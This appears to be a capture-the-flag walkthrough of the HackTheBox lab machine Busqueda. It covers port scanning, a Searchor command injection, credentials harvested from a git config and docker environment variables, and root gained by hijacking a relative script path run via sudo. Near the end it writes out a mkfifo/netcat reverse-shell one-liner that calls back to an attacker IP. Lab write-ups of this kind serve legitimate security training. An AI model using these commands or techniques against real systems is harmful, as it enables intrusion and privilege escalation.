Reading Time: 7 min read
Start 11:20 21-08-2024
10.10.11.208
┌──(kali㉿kali)-[~]└─$ nmap 10.10.11.208Starting Nmap 7.94 ( https://nmap.org ) at 2024-08-21 05:22 EDTNmap scan report for 10.10.11.208Host is up (0.043s latency).Not shown: 998 closed tcp ports (conn-refused)PORT STATE SERVICE22/tcp open ssh80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds
┌──(kali㉿kali)-[~]└─$ nmap -sC -sT -sV 10.10.11.208Starting Nmap 7.94 ( https://nmap.org ) at 2024-08-21 05:23 EDTNmap scan report for 10.10.11.208Host is up (0.052s latency).Not shown: 998 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)80/tcp open http Apache httpd 2.4.52|_http-server-header: Apache/2.4.52 (Ubuntu)|_http-title: Did not follow redirect to http://searcher.htb/Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 9.15 seconds
Looks like we got a host called searcher.htb
, let’s add it to our /etc/hosts
file.
10.10.11.208 searcher.htb
I then went on to the website to check what I could find.
80/TCP - HTTP
Section titled “80/TCP - HTTP”After heading to the website I was greeted with this page:
Down at the bottom we find some other details, such as the site being powered by Flask
, a python web app framework
and Searchor 2.4.0
which we will check for exploits:
==Exploit==
After looking up vulnerabilities for Searchor 2.4.0
I found a couple of which I tried this one first. This is a Command Injection vulnerability
:
The Proof of Concept
is pretty straightforward:
I proceeded to try it out myself
And we’re in, easy as that. Here I was able to get the user.txt
fairly easily by heading into /home/svc
.
user.txt
Section titled “user.txt”svc@busqueda:~$ cat user.txtcat user.txtde28a8710e0c34667ec742dd7704587f
Privilege Escalation
Section titled “Privilege Escalation”Now onto some privilege escalation. I was not allowed to run sudo -l
as seen below so I had to resort to other ways.
svc@busqueda:~$ sudo -lsudo -lsudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helpersudo: a password is required
After checking the OS info
I found nothing worth exploiting, so instead I went to take a look at the /var/www/app/.git
folder which has an interesting config
file which I took a look at.
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true[remote "origin"] url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git fetch = +refs/heads/*:refs/remotes/origin/*[branch "main"] remote = origin merge = refs/heads/main
We find some new info, we found a user called cody
together with a password jh1usoih2bkjaspwe92
, and a subdomain called gitea.searcher.htb
which I added to my /etc/hosts
file.
After adding the subdomain
I headed to the site and proceeded to login with the previously found creds.
I did not find anything which we could use right now so I instead went to login to SSH
as the svc
user with the previously found password. Here I could run sudo -l
since I now had the password.
We see that we are allowed to run a python script in the /opt/scripts
folder as root
.
Unfortunately enough we can not view the contents as the file is still owned by root, so I decided to run the file instead to see what params
it takes:
sudo python3 /opt/scripts/system-checkup.py *
It appears to be script checking various containers
and/or the whole system. I ran the docker-ps
option and it gave me this output:
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 19 months ago Up 50 minutes 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp giteaf84a6b33fb5a mysql:8 "docker-entrypoint.s…" 19 months ago Up 50 minutes 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
We see that there is a docker
container running MySQL
on port 33060
as well as the gitea
container. Other than that we should try the other commands now.
I tried the full-checkup
command but that just did not work for some reason:
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkupSomething went wrong
Then last but not least I tried the docker-inspect
command.
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspectUsage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
We know the container_name
param, but we do not know what they mean by format
. I decided to look it up and found relevant info [here](docker inspect | Docker Docs).
It seems we can just specify the json
format with the -f
flag and be on our way, let’s see:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
Above we specify the jq
after the pipe in order to output it as a parsed json
file. By default jq
should already be installed on the target machine, so no further action is necessary.
This gives us a massive output. Most of this stuff does not mean anything to us except for the ENV
tab which shows the following:
"Env": [ "USER_UID=115", "USER_GID=121", "GITEA__database__DB_TYPE=mysql", "GITEA__database__HOST=db:3306", "GITEA__database__NAME=gitea", "GITEA__database__USER=gitea", "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "USER=git", "GITEA_CUSTOM=/data/gitea" ],
Here we have actually found some hardcoded credentials
for the MySQL
database. We can now log into the website as the administrator
with the given creds.
Now that we are in as administrator
we can check out the /scripts
folder and check the system-checkup.py
script what it exactly does.
#!/bin/bashimport subprocessimport sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
def run_command(arg_list): r = subprocess.run(arg_list, capture_output=True) if r.stderr: output = r.stderr.decode() else: output = r.stdout.decode()
return output
def process_action(action): if action == 'docker-inspect': try: _format = sys.argv[2] if len(_format) == 0: print(f"Format can't be empty") exit(1) container = sys.argv[3] arg_list = ['docker', 'inspect', '--format', _format, container] print(run_command(arg_list))
except IndexError: print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>") exit(1)
except Exception as e: print('Something went wrong') exit(1)
elif action == 'docker-ps': try: arg_list = ['docker', 'ps'] print(run_command(arg_list))
except: print('Something went wrong') exit(1)
elif action == 'full-checkup': try: arg_list = ['./full-checkup.sh'] print(run_command(arg_list)) print('[+] Done!') except: print('Something went wrong') exit(1)
if __name__ == '__main__':
try: action = sys.argv[1] if action in actions: process_action(action) else: raise IndexError
except IndexError: print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)') print('') print(' docker-ps : List running docker containers') print(' docker-inspect : Inpect a certain docker container') print(' full-checkup : Run a full system checkup') print('') exit(1)
Here I found why the full-checkup
command was failing, it appears that the script previously failed simply because we were not in the same directory as the ./full-checkup.sh
script.
I moved on over to the correct folder and then proceeded to run the command again.
svc@busqueda:~$ find / -type f -name "full-checkup.sh" 2>/dev/null/opt/scripts/full-checkup.shsvc@busqueda:~$ cd /opt/scripts/
svc@busqueda:/opt/scripts$ sudo python3 /opt/scripts/system-checkup.py full-checkup[=] Docker conteainers{ "/gitea": "running"}{ "/mysql_db": "running"}
[=] Docker port mappings{ "22/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "222" } ], "3000/tcp": [ { "HostIp": "127.0.0.1", "HostPort": "3000" } ]}
[=] Apache webhosts[+] searcher.htb is up[+] gitea.searcher.htb is up
[=] PM2 processes┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤│ 0 │ app │ default │ N/A │ fork │ 1637 │ 82m │ 0 │ online │ 0% │ 30.1mb │ svc │ disabled │└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
[+] Done!
The output itself is actually not that important, but rather the function call is interesting. We now understand that in order to run full-checkup
it is leveraging another script called full-checkup.sh
. Using this logic we can create our own malicious script with the same name, but in another directory such as the /tmp
folder where we have write
access.
So we cd
to /tmp
and start writing our reverse-shell
script. The script will be a one-liner
in order to make execution smoother:
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 9001 >/tmp/f" > /tmp/full-checkup.sh
Make the script executable.
chmod +x full-checkup.sh
We turn on our listener.
nc -lvnp 9001
And then we simply run the script again:
root.txt
Section titled “root.txt”We can now get the root
flag:
cd /root && cat root.txt4826eddc6ecf6f8ba69c83efe2b8c330
Finished 12:54 21-08-2024